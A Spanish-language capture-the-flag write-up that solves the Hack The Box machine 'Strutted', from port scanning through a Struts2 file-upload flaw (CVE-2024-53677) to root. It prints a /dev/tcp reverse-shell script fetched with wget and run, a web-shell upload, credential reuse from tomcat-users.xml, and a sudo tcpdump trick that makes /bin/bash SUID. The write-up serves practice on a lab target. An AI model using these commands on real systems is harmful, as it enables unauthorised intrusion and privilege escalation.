Post

HTB Strutted Writeup

HTB Strutted Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina Strutted de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.

1
2
3
4
5
6
7
ping -c 1 10.10.11.59
PING 10.10.11.59 (10.10.11.59) 56(84) bytes of data.
64 bytes from 10.10.11.59: icmp_seq=1 ttl=63 time=104 ms

--- 10.10.11.59 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 104.352/104.352/104.352/0.000 ms

Vemos que el ttl de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux.

Ahora, con la herramienta rustscan lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.

1
rustscan -a 10.10.11.59 --ulimit 5000 -r 1-65535 -- -sS -sCV -Pn -oN target

Guardamos la información en un archivo. (Siempre se recomienda llevar registro de lo que se realiza)

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Se nos reporta que el puerto 22 y 80 están abiertos, si nos dirigimos a la web con la IP, vemos que esta nos redirige a un dominio, por ende se está aplicando Resolucion DNS, nuestra máquina no sabe a qué hace referencia ese dominio, así que lo agregamos al /etc/hosts.

1
2
3
4
5
127.0.0.1	localhost
::1		localhost
127.0.0.1	machinename.localhost	machinename

10.10.11.59 strutted.htb

Enumeración

En la web vemos un apartado para subir archivos de tipo imagen y también tenemos un apartado de descarga, al darle clic, se nos baja un archivo .zip, si lo descomprimimos para ver su contenido podemos ver que lo que parece ser el código fuente de la web.

Dentro del tomcat-users.xml tenemos un usuario con su credencial, pero no llegamos a ningún lado con eso. Tenemos también un archivo Dockerfile, así que podemos suponer que la web está desplegada con un contenedor, o parte de ella. En la carpeta strutted hay un archivo pom.xml, este ya pinta más interesante, podemos ver módulos, dependencias y demás cosas que usa la web, algo que me llama la atención es strust2.version (6.3.0.1), buscando un poco nos encontramos con esta vulnerabilidad interesante, donde mediante un Arbitrary file upload podemos subir algún archivo malicioso que nos interese.

Subida arbitraria de archivos (CVE-2024-53677)

En esta ocasión usaremos caido para capturar la petición y poder manipularla. Podemos subir cualquier archivo, al fin de cuentas, vamos a jugar con los primeros bytes del archivo para hacerle pensar a la web que se trata de un tipo de imagen.

Vemos que la vulnerabilidad se ejecuta, ahora vamos a tratar de subir una web_shell.jsp, podemos hacer uso de esta.

Vemos que fue exitoso, nos dirigimos a la ruta don se subió el archivo y vemos que podemos ejecutar comandos RCE.

Obteniendo la primera shell

Ahora vamos a ganar acceso al sistema obteniendo una shell, nos montamos un servido con python y subimos un archivo en bash para poder obtener una shell interactiva.

1
2
3
echo '#/bin/bash\n\nbash -c "bash -i >& /dev/tcp/10.10.14.235/4444 0>&1"' > bash.sh

python -m http.server 8080

En la web donde tenemos el .jsp nos descargamos el archivo, le damos los permisos necesarios, lo ejecutamos con bash y logramos ganar acceso.

1
2
3
4
5
wget http://{IP}:8080/bash.sh -O /tmp/bash.sh

chmod 777 /tmp/bash.sh

bash /tmp/bash.sh

Ahora estamos como el usuario tomcat dentro de la máquina, una vez dentro hacemos el tratamiento de la tty.

1
2
3
4
5
script /dev/null -c bash
Ctrl + z
stty raw -echo; fg
export TERM=xterm-256color
source /etc/skel/.bashrc

Para tener las proporciones adecuadas dentro de la shell en una ventana de nuestro terminal hacemos stty size y en la shell de la víctima ponemos stty rows {YOUR_ROWS_NUMBER} columns {YOUR_COLUMNS_NUMBER}.

Migrando a otro usuario

Si listamos el /etc/passwd vemos otro usuario james, al probar las credenciales obtenidas de tomcat-users.xml, vemos que no son válidas. Si listamos dentro de /var/lib/tomcat9/conf, nos encontramos con otro archivo tomcat-users.xml, en donde hay otra credencial.

Si la probamos con su james, no es posible conectarse, pero aún tenemos ssh y al tratar vemos que efectivamente logramos ganar acceso como james con esa credencial y una vez dentro podemos ver el user.txt.

Escalada de privilegios.

Si listamos nuestro privilegio a nivel de sudo, vemos que podemos ejecutar tcpdump como root sin proporcionar contraseña, en <a href=”https://gtfobins.github.io/gtfobins/tcpdump/#sudo”GTFObins</a> nos indican una forma de como podemos escalar nuestro privilegio, yo lo que hice fue asignar permisos SUID al binario /bin/bash.

1
COMMAND='chmod +s /bin/bash' & TF=$(mktemp) & echo "$COMMAND" > $TF & chmod +x $TF & sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Ejecutamos el binario como el propietario y ahora ya podemos ver la root.txt

This post is licensed under CC BY 4.0 by the author.